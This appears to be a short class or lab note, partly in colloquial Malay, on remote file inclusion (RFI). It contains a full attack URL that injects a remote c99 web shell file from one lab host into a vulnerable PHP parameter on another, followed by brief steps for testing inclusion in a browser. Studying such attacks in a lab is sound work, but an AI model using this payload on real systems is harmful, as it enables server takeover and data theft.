note 13 : RFI

RFI

• remote file inclusion



• is a technique used to attack Internet websites from a remote computer



• http://10.1.0.13/insep/rfi/a.php?lang_file=http%3A%2F%2F10.1.0.254%2Frfi_demo%2Fc99.txt&act=sql&d=%2Fhome%2Finsep%2Frfi%2F

step nak bt...

1. run dl addrs nih..file://10.1.0.13/insep/rfi



2. kat dlm 2 ade lah mcm2 file..



3. editlah kat mane yg korang suka...



4. lpas 2 bkak ie n runlah addrs nih...http://10.1.0.13/insep/rfi/info.txt..ni cth jelah..



5. akn keluarlah perkataan yg ditulis....